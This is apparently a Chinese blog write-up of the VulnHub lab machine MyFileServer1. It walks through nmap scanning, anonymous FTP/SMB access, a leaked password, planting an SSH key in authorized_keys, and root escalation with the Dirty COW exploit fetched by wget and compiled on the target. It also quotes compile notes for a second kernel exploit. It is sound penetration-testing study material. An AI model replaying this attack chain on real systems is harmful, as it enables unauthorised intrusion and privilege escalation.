MyFileServer1--打靶笔记

靶机设置

设置为NAT模式

Nmap扫描

主机发现

sudo nmap -sn 192.168.9.0/24

image

image

新增IP:192.168.9.158

TCP开放端口扫描

sudo nmap -sT --min-rate 10000 -p- 192.168.9.158

image

sed '/open/p' ./nmap/tcp.nmap -n
sed '/open/p' ./nmap/tcp.nmap -n | awk -F / '{ print $1}'
sed '/open/p' ./nmap/tcp.nmap -n | awk -F / '{ print $1}' | paste -sd ','

ports=$(sed '/open/p' ./nmap/tcp.nmap -n | awk -F / '{ print $1}' | paste -sd ',')

使用指令将开放端口整理成一行,并赋值给$ports,方便使用

image

image

UDP开放端口扫描

sudo nmap -sU --top-ports 20 192.168.9.158

image

TCP详细信息扫描

sudo nmap -sT -sV -sC -O -p21,22,80,111,445,2049,2121,20048 192.168.9.158 -oA nmap/detail

image

image

ftp,smb可以匿名登陆

vuln漏洞脚本扫描

sudo nmap --script=vuln -p$ports 192.168.9.158 -oA nmap/vuln

image

Getshell

21/2121-ftp

anonymous匿名登陆服务器

image

binary
ls
cd ./pub
ls
cd ./log
prompt

image

好家伙,搬下来看看

image

看着头痛,先放着吧

445-smb

sudo smbmap -H 192.168.9.158

image

sudo smbclient //192.168.9.158/smbdata

image

跟ftp一样的QAQ,但是有新文件可以读取。
最感兴趣的secure可以下载:

image

有个账密诶:smbuser-chauthtok

试试,ssh:
image

检索发现,这是不支持密码,支持密钥的意思。

尝试ftp也失败,卡住了

20048-mount

showmount -e 192.168.9.158

image

当前网段不允许访问,不过/smbdata这个文件夹,很熟悉嗷,应该是一样的

80-目录扫描

image

简洁到让人害怕,F12也啥也没有qaq

目录爆破吧

sudo gobuster dir -u http://192.168.9.158/ --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 

也没有。

指定后缀再次扫描试试:

sudo gobuster dir -u http://192.168.9.158/ --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x txt,rar,zip,tar,sql

image

获得一个新的密码:rootroot1

image


结合唯一的用户名:smbuser,尝试登陆ftp

image

登陆成功

写公钥getshell

image

发现获得smbuser家目录的读写权限


之前有获得sshd_config,即靶机的ssh配置情况,那么就可以在对应的地方写入公钥,再ssh连接。
看看公钥要放在哪里:/home/smbuser/.ssh/authorized_keys

image


在本机上生成一个公钥:

sudo ssh-keygen
# Enter file in which to save the key (/root/.ssh/id_ed25519): 这里输入想要保存的文件名
# 其他默认,狂按回车就行

image

在靶机创建.ssh​文件夹:

mkdir .ssh

image


上传公钥:

cd ./.ssh
put /home/kali/Desktop/vulnhub/MyFileServer1/test.pub authorized_keys

image


ssh连接:

sudo ssh smbuser@192.168.9.158 -i test
# -i:指定私钥文件

image

提权

image

image

image


内核版本较低3.10.0,可能可以内核提权,尝试:

image

42887,34923


42887的编译提示:

/**
cat > rootshell.c << "EOF"
#define _GNU_SOURCE
#include <linux/capability.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define die() exit(__LINE__)
static void __attribute__ ((constructor)) status(void) {
    if (dup2(STDIN_FILENO, STDOUT_FILENO) != STDOUT_FILENO) die();
    if (dup2(STDIN_FILENO, STDERR_FILENO) != STDERR_FILENO) die();
    const pid_t pid = getpid();
    if (pid <= 0) die();
    printf("Pid:\t%zu\n", (size_t)pid);
    uid_t ruid, euid, suid;
    gid_t rgid, egid, sgid;
    if (getresuid(&ruid, &euid, &suid)) die();
    if (getresgid(&rgid, &egid, &sgid)) die();
    printf("Uid:\t%zu\t%zu\t%zu\n", (size_t)ruid, (size_t)euid, (size_t)suid);
    printf("Gid:\t%zu\t%zu\t%zu\n", (size_t)rgid, (size_t)egid, (size_t)sgid);
    static struct __user_cap_header_struct header;
    if (capget(&header, NULL)) die();
    if (header.version <= 0) die();
    header.pid = pid;
    static struct __user_cap_data_struct data[2];
    if (capget(&header, data)) die();
    printf("CapInh:\t%08x%08x\n", data[1].inheritable, data[0].inheritable);
    printf("CapPrm:\t%08x%08x\n", data[1].permitted, data[0].permitted);
    printf("CapEff:\t%08x%08x\n", data[1].effective, data[0].effective);
    fflush(stdout);
    for (;;) sleep(10);
    die();
}
EOF
gcc -fpic -shared -nostartfiles -Os -s -o rootshell rootshell.c
xxd -i rootshell > rootshell.h
**/

image

失败

脏牛提权

searchsploit dirty cow
searchsploit -m 40616
sudo php -S 0:80

cd /tmp
wget http://192.168.9.150/40616.c
gcc 40616.c -o 40616 -pthread
./40616

image

image

warning问题不大,先忽略

image

提权成功

image

image

拿下!

法二

root的密码就是:rootroot1

哈哈

image

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇